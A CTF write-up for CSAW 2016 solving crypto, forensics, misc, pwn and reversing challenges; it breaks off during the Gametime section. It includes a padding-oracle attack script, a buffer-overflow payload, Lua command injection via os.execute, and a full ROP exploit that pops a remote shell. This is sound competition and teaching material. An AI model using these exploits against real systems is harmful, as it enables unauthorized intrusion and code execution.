CSAW CTF 2016
- Notesy 2.0 (crypto / 1)
- Sleeping Guard (crypto / 50)
- Neo (crypto / 200)
- Kill (forensics / 50)
- Clams Don’t Dance (forensics / 100)
- evidence.zip (forensics / 100)
- Watchword (forensics / 250)
- Coinslot (misc / 25)
- Warmup (pwn / 50)
- Aul (pwn / 100)
- Tutorial (pwn / 200)
- Gametime (reversing / 50)
- I Got Id (web / 200)
Notesy 2.0 (crypto / 1)
The first idea was to submit the same flag as the last year, but this time the solution was the alphabet:
abcdefghijklmnopqrstuvwxyz
Sleeping Guard (crypto / 50)
$ nc crypto.chal.csaw.io 8000 | base64 -D > img-encrypted.png
From the source code we can see the key length (12), used to XOR the image:
import base64
from twisted.internet import reactor, protocol
import os
PORT = 9013
import struct
def get_bytes_from_file(filename):
return open(filename, "rb").read()
KEY = "[CENSORED]"
def length_encryption_key():
return len(KEY)
def get_magic_png():
image = get_bytes_from_file("./sleeping.png")
encoded_string = base64.b64encode(image)
key_len = length_encryption_key()
print 'Sending magic....'
if key_len != 12:
return ''
return encoded_string
class MyServer(protocol.Protocol):
def connectionMade(self):
resp = get_magic_png()
self.transport.write(resp)
class MyServerFactory(protocol.Factory):
protocol = MyServer
factory = MyServerFactory()
reactor.listenTCP(PORT, factory)
reactor.run()
The first few bytes of the legitimate png
file should look like:
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
Using this information and xortool-xor, we were able to extract the file manually:
$ xortool-xor -f img-encrypted.png -s "\x89" | hexdump -C | head -1
00000000 57 b6 86 a6 db c2 cc c8 ec f0 a8 bb 97 ae 8c b3 |W...............|
$ xortool-xor -f img-encrypted.png -s "\x57" | hexdump -C | head -1
00000000 89 68 58 78 05 1c 12 16 32 2e 76 65 49 70 52 6d |.hXx....2.veIpRm|
$ xortool-xor -f img-encrypted.png -s "\x57\x50" | hexdump -C | head -1
00000000 89 6f 58 7f 05 1b 12 11 32 29 76 62 49 77 52 6a |.oX.....2)vbIwRj|
$ xortool-xor -f img-encrypted.png -s "\x57\x6f" | hexdump -C | head -1
00000000 89 50 58 40 05 24 12 2e 32 16 76 5d 49 48 52 55 |.PX@.$..2.v]IHRU|
$ xortool-xor -f img-encrypted.png -s "\x57\x6f\x41\x68\x5f\x41\x5f\x4b\x65\x79\x21\x3f" > flag.png
Finally, we read the answer from the png file:
flag{l4zy_H4CK3rs_d0nt_g3t_MAg1C_FLaG5}
Neo (crypto / 200)
Oracle Padding Attack, AES with block size = 16.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
from time import sleep
import requests
import socket
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = b64encode(data)
payload = {'matrix-id': somecookie }
print(repr('Data: ' + data))
print(repr('Payload: ' + somecookie))
while True:
try:
response = self.session.post('http://crypto.chal.csaw.io:8001', data = payload, stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...', self.wait)
sleep(self.wait)
continue
self.history.append(response)
if response.text.find("Caught exception during AES decryption...") == -1:
logging.debug('No padding exception raised on %r', somecookie)
return
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print 'Usage: %s <somecookie value>' % (sys.argv[0], )
sys.exit(1)
logging.basicConfig(level=logging.INFO)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=16)
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
Solution:
Decrypted somecookie: Wre7CkPi+rFZpTzV+TAtIHzHNtILVrx2XRdynvWoQVrK88FWdeMvn8QmM2RzWzuNbaIwf9m6RfMhwZKmzIqbQ+zMdSFLZ41Y4Db+q3JZOg0= =>
bytearray(b'flag{what_if_i_told_you_you_solved_the_challenge}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f')
References:
https://github.com/mwielgoszewski/python-paddingoracle
Kill (forensics / 50)
There is a broken pcap
file, which we need to fix. Looks like the file was obtained using tool dumpcap
on Mac OS X:
$ hexdump -C kill.pcapng | head
00000000 aa dd dd aa 8c 00 00 00 4d 3c 2b 1a 01 00 00 00 |........M<+.....|
00000010 ff ff ff ff ff ff ff ff 03 00 2f 00 4d 61 63 20 |........../.Mac |
00000020 4f 53 20 58 20 31 30 2e 31 31 2e 36 2c 20 62 75 |OS X 10.11.6, bu|
00000030 69 6c 64 20 31 35 47 31 30 30 34 20 28 44 61 72 |ild 15G1004 (Dar|
00000040 77 69 6e 20 31 35 2e 36 2e 30 29 00 04 00 34 00 |win 15.6.0)...4.|
00000050 44 75 6d 70 63 61 70 20 31 2e 31 32 2e 34 20 28 |Dumpcap 1.12.4 (|
00000060 76 31 2e 31 32 2e 34 2d 30 2d 67 62 34 38 36 31 |v1.12.4-0-gb4861|
00000070 64 61 20 66 72 6f 6d 20 6d 61 73 74 65 72 2d 31 |da from master-1|
00000080 2e 31 32 29 00 00 00 00 8c 00 00 00 01 00 00 00 |.12)............|
00000090 60 00 00 00 01 00 00 00 00 00 04 00 02 00 06 00 |`...............|
If we sniff some of our traffic, we can check if the header matches, but instead of aa dd dd aa
the file starts with 0a 0d 0d 0a
.
$ dumpcap
Capturing on 'eth0'
File: /tmp/wireshark_eth0_20160914212455_WgZFXm.pcapng
Packets captured: 4
Packets received/dropped on interface 'eth0': 4/2 (pcap:1/dumpcap:0/flushed:1/ps_ifdrop:0) (66.7%)
$ hexdump -C /tmp/wireshark_eth0_20160914212440_jsZWs2.pcapng | head -1
00000000 0a 0d 0d 0a 7c 00 00 00 4d 3c 2b 1a 01 00 00 00 |....|...M<+.....|
After we edit the first four bytes and open the file with Wireshark, we read the flag in one of the streams (3).
Easier solution is to read the flag directly on these addresses:
006c7d0: ff e0 ba e0 4a 46 49 46 00 01 01 01 00 01 00 01 ....JFIF........
006c7e0: 00 00 ff fe 00 3d 66 6c 61 67 7b 72 6f 73 65 73 .....=flag{roses
006c7f0: 5f 72 5f 62 6c 75 65 5f 76 69 6f 6c 65 74 73 5f _r_blue_violets_
006c800: 72 5f 72 33 64 5f 6d 61 79 62 33 5f 68 61 72 61 r_r3d_mayb3_hara
006c810: 6d 62 61 65 5f 69 73 5f 6e 6f 74 5f 6b 69 6c 6c mbae_is_not_kill
006c820: 7d ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 }....Photoshop 3
Clams Don’t Dance (forensics / 100)
We use The Sleuth Kit
to analyse the image:
$ fls out.img
r/r 3: USB (Volume Label Entry)
r/r 5: ._.Trashes
d/d 7: .Trashes
d/d 10: .Spotlight-V100
d/d 12: .fseventsd
r/r * 14: clam.pptx
r/r 16: dance.mp4
v/v 3270243: $MBR
v/v 3270244: $FAT1
v/v 3270245: $FAT2
d/d 3270246: $OrphanFiles
clam.pptx
looks suspicious so we extract it:
$ icat out.img 14 > clam.pptx
When we unzip
the pptx
, there is one file (image0.gif
) which has a different timestamp and moreover it is not linked in the document:
$ ls -lt
total 9488
-rw-r--r-- 1 sine staff 6979 Sep 6 11:25 image0.gif
-rw-rw-r-- 1 sine staff 30602 Jan 1 1980 image1.jpg
-rw-rw-r-- 1 sine staff 29515 Jan 1 1980 image10.jpg
-rw-rw-r-- 1 sine staff 23499 Jan 1 1980 image11.png
-rw-rw-r-- 1 sine staff 18897 Jan 1 1980 image12.png
-rw-rw-r-- 1 sine staff 53048 Jan 1 1980 image13.jpg
-rw-rw-r-- 1 sine staff 30865 Jan 1 1980 image14.jpg
-rw-rw-r-- 1 sine staff 34211 Jan 1 1980 image15.jpg
-rw-rw-r-- 1 sine staff 38920 Jan 1 1980 image16.jpg
-rw-rw-r-- 1 sine staff 24656 Jan 1 1980 image17.jpg
-rw-rw-r-- 1 sine staff 20048 Jan 1 1980 image18.gif
-rw-rw-r-- 1 sine staff 118081 Jan 1 1980 image19.png
-rw-rw-r-- 1 sine staff 89395 Jan 1 1980 image2.jpg
-rw-rw-r-- 1 sine staff 80663 Jan 1 1980 image20.jpg
-rw-rw-r-- 1 sine staff 65815 Jan 1 1980 image21.jpg
-rw-rw-r-- 1 sine staff 258672 Jan 1 1980 image22.png
-rw-rw-r-- 1 sine staff 8319 Jan 1 1980 image23.jpg
-rw-rw-r-- 1 sine staff 232546 Jan 1 1980 image24.png
-rw-rw-r-- 1 sine staff 5277 Jan 1 1980 image25.png
-rw-rw-r-- 1 sine staff 124208 Jan 1 1980 image26.jpg
-rw-rw-r-- 1 sine staff 253876 Jan 1 1980 image27.png
-rw-rw-r-- 1 sine staff 329579 Jan 1 1980 image28.png
-rw-rw-r-- 1 sine staff 379591 Jan 1 1980 image29.png
-rw-rw-r-- 1 sine staff 29635 Jan 1 1980 image3.jpg
-rw-rw-r-- 1 sine staff 396789 Jan 1 1980 image30.png
-rw-rw-r-- 1 sine staff 231275 Jan 1 1980 image31.jpg
-rw-rw-r-- 1 sine staff 8176 Jan 1 1980 image32.gif
-rw-rw-r-- 1 sine staff 29956 Jan 1 1980 image33.jpg
-rw-rw-r-- 1 sine staff 32790 Jan 1 1980 image34.jpg
-rw-rw-r-- 1 sine staff 21739 Jan 1 1980 image35.jpg
-rw-rw-r-- 1 sine staff 20837 Jan 1 1980 image36.jpg
-rw-rw-r-- 1 sine staff 359819 Jan 1 1980 image37.png
-rw-rw-r-- 1 sine staff 70181 Jan 1 1980 image38.png
-rw-rw-r-- 1 sine staff 23371 Jan 1 1980 image39.png
-rw-rw-r-- 1 sine staff 11919 Jan 1 1980 image4.png
-rw-rw-r-- 1 sine staff 18374 Jan 1 1980 image40.jpg
-rw-rw-r-- 1 sine staff 60743 Jan 1 1980 image41.jpg
-rw-rw-r-- 1 sine staff 608631 Jan 1 1980 image5.png
-rw-rw-r-- 1 sine staff 32615 Jan 1 1980 image6.png
-rw-rw-r-- 1 sine staff 12219 Jan 1 1980 image7.jpg
-rw-rw-r-- 1 sine staff 467084 Jan 1 1980 image8.jpg
-rw-rw-r-- 1 sine staff 84197 Jan 1 1980 image9.jpg
It reminds us the Maxicode
, using QR Code (2D Barcode) Reader
we can read it. We scanned it with this iPhone App.
FLAG{TH1NK ABOUT 1T B1LL. 1F U D13D, WOULD ANY1 CARE??}
evidence.zip (forensics / 100)
The flag is hidden in CRC values:
$ zipinfo -v evidence.zip | grep CRC
32-bit CRC value (hex): 666c6167
32-bit CRC value (hex): 7b746833
32-bit CRC value (hex): 5f766931
32-bit CRC value (hex): 3169346e
32-bit CRC value (hex): 5f77335f
32-bit CRC value (hex): 6e333364
32-bit CRC value (hex): 5f236672
32-bit CRC value (hex): 65656c65
32-bit CRC value (hex): 6666656e
32-bit CRC value (hex): 7daaaaaa
32-bit CRC value (hex): aaaaaaaa
32-bit CRC value (hex): aaaaaaaa
32-bit CRC value (hex): aaaaaaaa
$ for x in $(zipinfo -v evidence.zip | grep CRC | cut -d: -f 2 | sed 's# +#0x#g'); do export x; python -c 'import os; from struct import pack; from sys import stdout; stdout.write( pack(">I", int(os.environ["x"], 16)) )'; done
flag{th3_vi11i4n_w3_n33d_#freeleffen}
Watchword (forensics / 250)
I solved the challenge after they published two hints:
Hint: http://domnit.org/stepic/doc/
Hint: It's not base64, but it uses the Python 3 base64 module
password = password
There was a comment in exif
header, base64
encoded:
$ exiftool powpow.mp4 | grep Title | cut -d: -f2 | tr -d ' ' | base64 -d
http://steghide.sourceforge.net/
We extracted the png
image from the mp4
file:
$ binwalk powpow.mp4
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
547541 0x85AD5 PNG image, 720 x 581, 8-bit/color RGB, non-interlaced
547595 0x85B0B Zlib compressed data, default compression
547904 0x85C40 Zlib compressed data, default compression
$ dd if=powpow.mp4 bs=1 skip=547541 > image.png
419063+0 records in
419063+0 records out
419063 bytes (419 kB, 409 KiB) copied, 0.363718 s, 1.2 MB/s
Using stepic
, we extracted the another image (jpg
) from png
:
$ stepic -d -i image.png > image.jpg
There are hidden some data, we can recoved them using password
passphrase:
$ steghide info image.jpg
"image.jpg":
format: jpeg
capacity: 1.7 KB
Try to get information about embedded data ? (y/n) n
$ steghide extract -sf image.jpg -p password
wrote extracted data to "base64.txt"
Finally with python3 base64
module, we use b85decode
to read the flag:
$ python3
>>> f = open("base64.txt", "r")
>>> data = f.read().rstrip()
>>> f.close()
>>> from base64 import b85decode
>>> b85decode(data)
b'flag{We are fsociety, we are finally free, we are finally awake!}'
Coinslot (misc / 25)
#!/usr/bin/env python
from pwn import *
r = remote('misc.chal.csaw.io', '8000')
def process():
value = float(r.recvline()[1:])
bills = [10000, 5000, 1000, 500, 100, 50, 20, 10, 5, 1, 0.50, 0.25, 0.10, 0.05, 0.01]
counter = dict.fromkeys(bills, 0)
print('input: ' + str(value))
for bill in bills:
# the second condition is because we are using float
while value - bill > 0 or abs(value - bill) < 0.005:
counter[bill] += 1
value -= bill
r.recvuntil(': ')
r.sendline(str(counter[bill]))
return r.recvline()
while True:
print process()
$ python ./coinbase.py DEBUG
[ .. SNIP .. ]
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'nickels (5c): '
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0xe bytes:
'pennies (1c): '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x47 bytes:
'correct!\n'
'flag{started-from-the-bottom-now-my-whole-team-fucking-here}\n'
'\n'
correct!
Traceback (most recent call last):
File "./coinbase.py", line 26, in <module>
print process()
File "./coinbase.py", line 8, in process
value = float(r.recvline()[1:])
ValueError: could not convert string to float: lag{started-from-the-bottom-now-my-whole-team-fucking-here}
[*] Closed connection to misc.chal.csaw.io port 8000
Warmup (pwn / 50)
There is a backdoor in the binary and the address is even printed after it starts:
$ objdump -M intel -d warmup | grep "<easy>" -A 6
000000000040060d <easy>:
40060d: 55 push rbp
40060e: 48 89 e5 mov rbp,rsp
400611: bf 34 07 40 00 mov edi,0x400734
400616: e8 b5 fe ff ff call 4004d0 <system@plt>
40061b: 5d pop rbp
40061c: c3 ret
Trivial buffer overflow:
$ gdb -q ./warmup
Reading symbols from ./warmup...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /root/warmup
-Warm Up-
WOW:0x40060d
>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
0x40069e <main+129>: call 0x400500 <gets@plt>
0x4006a3 <main+134>: leave
=> 0x4006a4 <main+135>: ret
Stopped reason: SIGSEGV
0x00000000004006a4 in main ()
gdb-peda$ x /gx $rsp
0x7fffffffe878: 0x4134414165414149
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72
$ python -c 'from struct import pack as p; print "A" * 72 + p("Q", 0x40060d)' | nc pwn.chal.csaw.io 8000
-Warm Up-
WOW:0x40060d
>FLAG{LET_US_BEGIN_CSAW_2016}
Aul (pwn / 100)
If we invoke the help
command, we can notice that the interpreter is lua
:
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
help
help
LuaS�
[ .. SNIP .. ]
If the command is evaluated directly, this should work too:
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
io.write("Hello world, from ",_VERSION,"!\n")
io.write("Hello world, from ",_VERSION,"!\n")
Hello world, from Lua 5.3!
Now we can execute arbitrary command, we read the challenge code and the flag:
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute("cat server.lua")
os.execute("cat server.lua")
-- http://www.playwithlua.com/?p=28
function make_board(size)
local board = { size = size }
setmetatable(board, { __tostring = board_tostring })
for n = 0, size * size - 1 do
board[n] = 0
end
return board
end
function populate_board(board, filled, seed)
local size = board.size
if seed then math.randomseed(seed) end
filled = filled or size * size * 3 / 4
local function rand()
local c
repeat c = math.random(size * size) - 1 until board[c] == 0
return c
end
if filled > 0 then
for _,v in ipairs{'a','b','c','d'} do board[rand()] = v end
for n = 1, filled-4 do
board[rand()] = math.random(4)
end
return fall(board)
end
end
function board_tostring(board)
local lines = {}
local size = board.size
for y = 0, size - 1 do
local line = "|"
for x = 0, size - 1 do
line = line .. " " .. board[x+y*size]
end
table.insert(lines, line .. " |")
end
return table.concat(lines,"\n")
end
function fall(board)
local size = board.size
local new_board = make_board(size, 0)
local function fall_column(col)
local dest = size - 1
for y = size-1, 0, -1 do
if board[y*size + col] ~= 0 then
new_board[dest*size + col] = board[y*size + col]
dest = dest - 1
end
end
end
for x=0, size-1 do
fall_column(x)
end
return new_board
end
function rotate(board)
local size = board.size
local new_board = make_board(size, 0)
for y = 0, size-1 do
local dest_col = size - 1 - y
for n = 0, size-1 do
new_board[n*size + dest_col] = board[y*size + n]
end
end
return new_board
end
function crush(board)
local size = board.size
local new_board = make_board(size, 0)
local crushers = {'a','b','c','d'}
for n=0, size-1 do
new_board[n] = board[n]
end
for n = size, size*size - 1 do
if board[n-size] == crushers[board[n]] then
new_board[n] = 0
else
new_board[n] = board[n]
end
end
return new_board
end
function rotate_left(board)
return rotate(rotate(rotate(board)))
end
function readAll(file)
local f = io.open(file, "rb")
local content = f:read("*all")
f:close()
return content
end
function help()
local l = string.sub(readAll("server.luac"), 2)
writeraw(l, string.len(l))
end
quit = false
function exit()
quit = true
end
function run_step(board)
local cmd = readline()
if(string.len(cmd) == 0) then
exit()
return nil
end
-- prevent injection attacks
if(string.find(cmd, "function")) then
return nil
end
if(string.find(cmd, "print")) then
return nil
end
local f = load("return " .. cmd)()
if f == nil then
return nil
end
return f(board)
end
function game()
local board = populate_board(make_board(8))
repeat
writeline(board_tostring(board) .. "\n")
local b = run_step(board)
if quit then
break
end
if b ~= nil then
board = b
board = fall(crush(fall(board)))
else
writeline("Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.\n")
end
until false
end
writeline("let's play a game\n")
game()
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute("ls")
os.execute("ls")
flag run.sh scripty server.lua server.luac
$ nc pwn.chal.csaw.io 8001
let's play a game
| 0 0 0 0 0 0 0 0 |
| 0 1 0 0 0 0 4 0 |
| 0 3 2 2 4 1 4 4 |
| 0 3 2 3 2 3 4 3 |
| 4 b 2 2 4 4 3 4 |
| 3 2 4 4 1 1 2 2 |
| 3 3 c d 3 3 2 3 |
| 3 2 1 4 4 a 2 4 |
os.execute("cat flag")
os.execute("cat flag")
flag{we_need_a_real_flag_for_this_chal}
Tutorial (pwn / 200)
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
As we can see, the binary contains NX + canary. Still this does not mean that the exploitation would be more difficult, because there is a puts leak (option 1) and canary leak (option 2).
Exploit:
#!/usr/bin/env python
from pwn import *
from sys import argv
local = False
def p(string): print text.green_on_black("[*] " + string)
def leak_canary():
x.send("2\n\n")
x.recvline()
x.recvline()
return u64(x.recvline()[311:319])
def leak_puts_address():
x.send("1\n")
x.recvuntil("Reference:")
puts_addr = int(x.recvline().rstrip(), 16) + 0x500
x.recvuntil('>')
return puts_addr
def send_exploit(canary, system, shell, dup2, descriptor):
pop_rdi_ret_address = 0x4012e3
pop_rsi_pop_r15_ret_address = 0x4012e1
x.sendline("2")
x.recvuntil('>')
payload = "A" * 312
payload += p64(canary)
payload += "Aa0Aa1Aa"
"""
dup2(rdi = 5, rsi = 0)
dup2(rdi = 5, rsi = 1)
"""
payload += p64(pop_rdi_ret_address)
payload += p64(descriptor)
payload += p64(pop_rsi_pop_r15_ret_address)
payload += p64(0)
payload += p64(0xdeadbeef)
payload += p64(dup2)
payload += p64(pop_rsi_pop_r15_ret_address)
payload += p64(1)
payload += p64(0xdeadbeef)
payload += p64(dup2)
payload += p64(pop_rdi_ret_address)
payload += p64(shell)
payload += p64(system)
x.sendline(payload)
if __name__ == "__main__":
if local:
x = remote('127.0.0.1', argv[1])
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
descriptor = 5
else:
x = remote('pwn.chal.csaw.io', '8002')
libc = ELF('./libc-2.19.so')
descriptor = 4
x.recvuntil(">")
canary_leak = leak_canary()
p(hex(canary_leak) + " <- leaked canary")
puts_leak = leak_puts_address()
p(hex(puts_leak) + " <- leaked puts() address")
libc.address = puts_leak - libc.symbols['puts']
p(hex(libc.address) + " <- libc base address")
system_address = libc.symbols['system']
p(hex(system_address) + " <- computed system() address")
dup2_address = libc.symbols['dup2']
p(hex(dup2_address) + " <- computed dup2() address")
shell_address = next(libc.search('sh\x00'))
p(hex(shell_address) + " <- computed 'sh\\x00' address")
send_exploit(canary_leak, system_address, shell_address, dup2_address, descriptor)
x.interactive()
$ ./exploit.py
[+] Opening connection to pwn.chal.csaw.io on port 8002: Done
[*] '/root/Tutorial/libc-2.19.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] 0xb07981a03b326d00 <- leaked canary
[*] 0x7f70aa363d60 <- leaked puts() address
[*] 0x7f70aa2f4000 <- libc base address
[*] 0x7f70aa33a590 <- computed system() address
[*] 0x7f70aa3dfe90 <- computed dup2() address
[*] 0x7f70aa305c37 <- computed 'sh\x00' address
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00m2;\xa0\x81y\xb0Aa0A$ id
uid=1000(tutorial) gid=1000(tutorial) groups=1000(tutorial)
$ ls
flag.txt
tutorial
tutorial.c
tutorial.c
:
#define _GNU_SOURCE
#include <stdio.h>
#include <pwd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <dlfcn.h>
#include <errno.h>
#include <signal.h>
#include <unistd.h>
#include <stdint.h>
int priv(char *username) {
struct passwd *pw = getpwnam(username);
if (pw == NULL) {
fprintf(stderr, "User %s does not exist\n", username);
return 1;
}
if (chdir(pw->pw_dir) != 0) {
perror("chdir");
return 1;
}
if (setgroups(0, NULL) != 0) {
perror("setgroups");
return 1;
}
if (setgid(pw->pw_gid) != 0) {
perror("setgid");
return 1;
}
if (setuid(pw->pw_uid) != 0) {
perror("setuid");
return 1;
}
return 0;
}
void func1(int fd){
char address[50];
void (*puts_addr)(int) = dlsym(RTLD_NEXT,"puts");
write(fd,"Reference:",10);
sprintf(address,"%p\n",puts_addr-0x500);
write(fd,address,15);
}
void func2(int fd){
char pov[300];
bzero(pov,300);
write(fd,"Time to test your exploit...\n",29);
write(fd,">",1);
read(fd,pov,460);
write(fd,pov,324);
}
void menu(int fd){
while(1){
char option[2];
write(fd,"-Tutorial-\n",11);
write(fd,"1.Manual\n",9);
write(fd,"2.Practice\n",11);
write(fd,"3.Quit\n",7);
write(fd,">",1); read(fd,option,2);
switch(option[0]){
case '1':
func1(fd);
break;
case '2':
func2(fd);
break;
case '3':
write(fd,"You still did not solve my challenge.\n",38);
return;
default:
write(fd,"unknown option.\n",16);
break;
}
}
}
int main( int argc, char *argv[] ) {
int five;
int myint = 1;
struct sockaddr_in server,client;
sigemptyset((sigset_t *)&five);
int init_fd = socket(AF_INET, SOCK_STREAM, 0);
if (init_fd == -1) {
perror("socket");
exit(-1);
}
bzero((char *) &server, sizeof(server));
if(setsockopt(init_fd,SOL_SOCKET,SO_REUSEADDR,&myint,sizeof(myint)) == -1){
perror("setsocket");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(atoi(argv[1]));
if (bind(init_fd, (struct sockaddr *) &server, sizeof(server)) == -1) {
perror("bind");
exit(-1);
}
if((listen(init_fd,20)) == -1){
perror("listen");
exit(-1);
}
int addr_len = sizeof(client);
while (1) {
int fd = accept(init_fd,(struct sockaddr *)&client,(socklen_t*)&addr_len);
if (fd < 0) {
perror("accept");
exit(1);
}
pid_t pid = fork();
if (pid == -1) {
perror("fork");
close(fd);
}
if (pid == 0){
alarm(15);
close(init_fd);
int user_priv = priv("tutorial");
if(!user_priv){
menu(fd);
close(fd);
exit(0);
}
}else{
close(fd);
}
}
close(init_fd);
}
$ cat flag.txt
FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}
Gametime (reversing / 50)
There were a several things which we manually patched (keypresses, time delay), this part of the program was
called often and we negated the condition on 0x00401554
to je
to pass the check:
.text:00401549 8B CF mov ecx, edi
.text:0040154B E8 10 FD FF FF call sub_401260
.text:00401550 5F pop edi
.text:00401551 5E pop esi
.text:00401552 84 C0 test al, al
.text:00401554 75 21 jnz short loc_401577
.text:00401556 FF 75 0C push [ebp+arg_4]
.text:00401559 FF 75 10 push [ebp+arg_8]
.text:0040155C 68 50 7A 41 00 push offset aKeyIsSS_0 ; "key is %s (%s)\r"
.text:00401561 E8 F5 04 00 00 call print_something
.text:00401566 68 B0 7A 41 00 push offset aUdderFailure_0 ; "UDDER FAILURE! http://imgur.com/4Ajx21P"...
.text:0040156B E8 EB 04 00 00 call print_something
.text:00401570 83 C4 10 add esp, 10h
.text:00401573 32 C0 xor al, al
.text:00401575 5D pop ebp
.text:00401576 C3 retn
The goal was to reach this part to print the flag:
.text:00401973 0F B6 06 movzx eax, byte ptr [esi]
.text:00401976 50 push eax
.text:00401977 68 DC 7A 41 00 push offset a02x ; "%02x"
.text:0040197C E8 DA 00 00 00 call print_something
.text:00401981 59 pop ecx
.text:00401982 46 inc esi
.text:00401983 59 pop ecx
.text:00401984 83 EB 01 sub ebx, 1
.text:00401987 75 EA jnz short loc_401973
.text:00401989 68 E4 7A 41 00 push offset asc_417AE4 ; ")\n\n"
.text:0040198E E8 C8 00 00 00 call print_something
.text:00401993 8B 1D 20 21 41 00 mov ebx, ds:Sleep
.text:00401999 59 pop ecx
Finally the whole output:
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
ZOMGZOMG ZOMGZOMG
ZOMGZOMG TAP TAP REVOLUTION!!!!!!! ZOMGZOMG
ZOMGZOMG ZOMGZOMG
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
R U READDY?!
The game is starting in...
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
When you see an 's', press the space bar
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
..........s
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
When you see an 'x', press the 'x' key
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
Get ready to play
........x
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
When you see an 'm', press the 'm' key
ZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMGZOMGZOMGOZMG
Get ready to play
Get ready to play
Get ready to play
Get ready to play
